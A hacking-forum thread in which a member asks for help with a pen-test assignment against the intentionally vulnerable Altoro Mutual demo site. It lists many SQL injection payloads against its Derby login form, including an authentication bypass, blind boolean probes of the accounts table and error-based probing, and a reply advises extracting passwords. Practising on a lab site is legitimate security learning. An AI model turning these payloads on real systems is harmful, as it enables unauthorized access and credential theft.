Join us on Slack!
You cannot teach a man anything; you can only help him find it within himself. - Galileo
Thursday, December 12, 2019
Navigation
Home
 Find:
 Information:
Learn
Communicate
Submit
Shop
Challenges
 Exploit:
 Programming:
 Think:
 Track:
 Patch:
 Other:
 Need Help?
Other
Members Online
Total Online: 48
Guests Online: 47
Members Online: 1

Registered Members: 120846
Newest Member: robynio11
Latest Articles
View Thread

HellBound Hackers | Computer General | Web hacking

Author

Help on pen test assignment -- altoro mutual site

gunitinug
Member



Posts: 4
Location:
Joined: 25.05.19
Rank:
Apprentice
Posted on 25-05-19 10:55
Hi.

I have to pen test altoro mutual site(https://demo.testfire.net) for a project. The site uses DERBY DB.

I have discovered that its login page is vulnerable to blind boolean sqli.

I have discovered that there is a table called accounts under schemaname of APP (ie. APP.accounts).

I typed in

Username: admin' and (select count(user) from app.accounts where user like '%a%')>0--
Password: anything

This tests whether there is a user that contains a letter 'a'. If the test succeeds altoro mutual site logs in. Otherwise it says "Login Failed: We're sorry, but this username or password was not found in our system. Please try again."

I've tried the same test but this time iterated from a-zA-Z. But it never succeeds in logging in which tells me that maybe Username is not English alphabet. But this is unlikely.

So my problem is I don't know why LIKE operator doesn't return a result that is expected.

I also tried

Username: admin' and (select count(user) from app.accounts where user not like '%a%')>0--
Password: anything

And this time every iteration of a-zA-Z logs in. So this result also tells me Username does not contain a letter.

Lastly this one works (it logs in)

Username: admin' and (select count(user) from app.accounts where user like '%')>0--
Password: anything

Can you help me why LIKE operator fails when user LIKE '%a%' and so on?

THX

Edited by gunitinug on 25-05-19 10:56
Author

RE: Help on pen test assignment -- altoro mutual site

Huitzilopochtli
Member



Posts: 1624
Location:
Joined: 19.02.13
Rank:
God
Posted on 26-05-19 17:47
There are 5 usernames and they're all in English.
Your problem has nothing to do with the LIKE operator not working.
You are over complicating things that are actually pretty easy.
And it is easy: https://www.hellb. . ./index.php


.
Author

RE: Help on pen test assignment -- altoro mutual site

gunitinug
Member



Posts: 4
Location:
Joined: 25.05.19
Rank:
Apprentice
Posted on 27-05-19 02:52
Huitzilopochtli wrote:
There are 5 usernames and they're all in English.
Your problem has nothing to do with the LIKE operator not working.
You are over complicating things that are actually pretty easy.
And it is easy: https://www.hellb. . ./index.php


I know I can log in as admin by

Username: admin'--
Password: anything

Then you can get list of users in admin page.

BUT, the point is to get that information using SQL injection.
Author

RE: Help on pen test assignment -- altoro mutual site

gunitinug
Member



Posts: 4
Location:
Joined: 25.05.19
Rank:
Apprentice
Posted on 27-05-19 03:02
I tried

admin' and (select count(user) from app.accounts where user in ('admin', 'jdoe', 'jsmith', 'sspeed', 'tuser'))>0--

BUT gets

Login Failed: We're sorry, but this username or password was not found in our system. Please try again.

I've also tried replacing space with /**/ but still no luck.


More info:
The following gives this error:

Username: admin' order by 2--

Column position '2' is out of range for the query expression.

But

Username: admin' order by 1--

logs me in... which is strange because I would expect there will be at least two columns... user and passwd or something like that.

Yet more info:
The following

admin' and (select count(*) from accounts)>=5--

logs in but

admin' and (select count(*) from accounts)=5--

doesn't.

So there are at least 5 records in accounts table. Actually the number is 10 which makes no sense.

admin' and (select count(*) from accounts)=10--

This logs in.

Yet more info:
This is the weirdest thing

Username: admin' having '1'='1

gives error

Column PASSWORD is referenced in the HAVING clause but is not in the GROUP BY list.

But we've established that there is only 1 column and that is user. :O

Username: admin' and (select count(user) from accounts)>0--

This logs in.

Yet more stuff:
This

admin' and (select count(password) from accounts)>0--

gives HTTP 500 error

also

This

admin' and (select count(password) from app.accounts where password like '%a%')>0--

gives HTTP 500 error

Edited by gunitinug on 27-05-19 04:21
Author

RE: Help on pen test assignment -- altoro mutual site

Huitzilopochtli
Member



Posts: 1624
Location:
Joined: 19.02.13
Rank:
God
Posted on 27-05-19 20:11
Right I'm confused here.

Is your assignment to construct a single sql statement that will log you into the site as admin, or is it to extract the usernames and passwords from the database ?

If it's to recover the passwords of each account,  you can see both the user and table names after you log in, so there is nothing here that is left to guesswork.

If php_errors are on you can use UNION and CONCAT to retrieve the password data

If errors are off, well it's no big deal as you already said you are aware of a blind injection point, so you can just extract the data one character at a time from there.


.

Edited by Huitzilopochtli on 27-05-19 20:35
Author

RE: Help on pen test assignment -- altoro mutual site

gunitinug
Member



Posts: 4
Location:
Joined: 25.05.19
Rank:
Apprentice
Posted on 28-05-19 02:45
Huitzilopochtli wrote:
Right I'm confused here.

Is your assignment to construct a single sql statement that will log you into the site as admin, or is it to extract the usernames and passwords from the database ?

If it's to recover the passwords of each account,  you can see both the user and table names after you log in, so there is nothing here that is left to guesswork.

If php_errors are on you can use UNION and CONCAT to retrieve the password data

If errors are off, well it's no big deal as you already said you are aware of a blind injection point, so you can just extract the data one character at a time from there.


Hi. Thanks for your interest.

Yes, I'm trying to get usernames and passwords(or any other info) by using SQL injection.

The site is not PHP but JSP and database is Derby DB.

I"m not sure why queries above don't work.

For example the following site lists reserved words

https://db.apache.org/derby/docs/10.2/ref/rrefkeywords29722.html

Reserved identifiers need to be enclosed with "".

I think one of the columns in app.accounts is user. But user is a reserved word in Derby. Maybe that's why they don't work as expected?

So I try

admin' and (select count("user") from app.accounts where "user" >= 'a')>0--

gives error

Column 'user' is either not in any table in the FROM list or appears within a join specification and is outside the scope of the join specification or appears in a HAVING clause and is not in the GROUP BY list. If this is a CREATE or ALTER TABLE statement then 'user' is not a column in the target table.

Any ideas? I've tried with "USER", "User" and "user".

This

admin' and (select count(password) from app.accounts where password >= 'a') > 0 --

gives HTTP 500 error :O

PS. I figured out why there is one column name in SELECT clause. It is because the query is something like:

SELECT COUNT(*) FROM app.accounts WHERE user=$$$ AND password=$$$;



More info:

If payload is

admin' and (select count("user") from app.accounts where "user" > 'a') > 0--

SQL becomes

ij> select count(*) from app.accounts where "user"='admin' and (select count("user") from app.accounts where "user" > 'a') > 0;
1
-----------
1

There is only one user='admin'... This should log in.


If payload is:

' and (select count("user") from app.accounts where "user" > 'a') > 0--

then

ij> select count(*) from app.accounts where "user"='' and (select count("user") from app.accounts where "user" > 'a') > 0;
1
-----------
0

This shouldn't log in.



Also

ij> select count(*) from app.accounts where user='admin' and (select count(user) from app.accounts where user > 'a') > 0;
1
-----------
0

This shouldn't log in. user is not surrounded by "".

Edited by gunitinug on 28-05-19 03:46